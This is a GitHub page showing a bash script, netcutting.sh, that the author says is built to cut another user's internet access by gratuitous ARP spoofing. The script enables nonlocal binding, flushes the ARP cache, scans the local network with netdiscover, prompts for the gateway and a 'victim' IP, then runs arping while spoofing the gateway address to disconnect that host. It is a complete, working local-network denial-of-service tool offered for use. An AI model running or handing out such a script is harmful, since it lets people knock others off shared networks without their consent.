-
Notifications
You must be signed in to change notification settings - Fork 5
Expand file tree
/
Copy pathnetcutting.sh
More file actions
73 lines (49 loc) · 1.88 KB
/
netcutting.sh
File metadata and controls
73 lines (49 loc) · 1.88 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
#!/bin/bash
#Author:
# _ .-') _ .-') _ (`-. ('-. .-.
#( '.( OO )_ ( \( -O ) ( (OO )( OO ) /
#,--. ,--.) .----. ,------. _.` \,--. ,--. .-----. ,--. ,--. .------.
#| `.' | / .. \ | /`. '(__...--''| | | |/ -. \ | | | | | ___|
#| |. / \ .| / | | | / | || .| |'-' _' | | | | .-') | '--.
#| |'.'| || | ' || |_.' | | |_.' || | |_ < | |_|( OO )`---. '.
#| | | |' \ / '| . '.' | .___.'| .-. |.-. | | | | | `-' /.- | |
#| | | | \ `' / | |\ \ | | | | | |\ `-' /(' '-'(_.-' | `-' /
#`--' `--' `---'' `--' '--' `--' `--' `--' `----'' `-----' `----''
#Designed to cut net of the user using Gratuitous arp
sysctl net.ipv4.ip_nonlocal_bind=1
ip -s -s neigh flush all >/dev/null
echo "Netdiscover and Arping needed to be installed | Run as Root"
echo -e "Begin \n"
echo -e "enter your interface define in ifconfig"
read niccard
echo -e "check network address"
echo -e "Checking for Netdiscover \n"
ND="/usr/sbin/netdiscover"
if [ -f $ND ];
then
echo "Netdiscover found "
fi
echo -e "Starting Netdiscover \n"
echo -e "enter ip block to arp and enter ip range"
read NA
netdiscover -P -r $NA
echo "Gateway of interface connected"
timeout 2s route -n
echo -e "Enter gateway address of Router \n"
read gateway
echo -e "Checking for Arping \n"
AR="/usr/sbin/arping"
if [ -f $AR ]
then
echo "Arping found"
echo "Ready to cut internet of victim \n"
echo "Select IP of Victim from netdiscover output \n | enter victims ip"
read victims_ip
arping -b -A -i $niccard -S $gateway $victims_ip
echo "Net has been cut off \n"
else
echo -e "Arping not found | Install using apt-get install arping\n"
exit
fi
## Capture SIGINT (Ctrl-C) and exit the script clean.
trap control_c SIGINT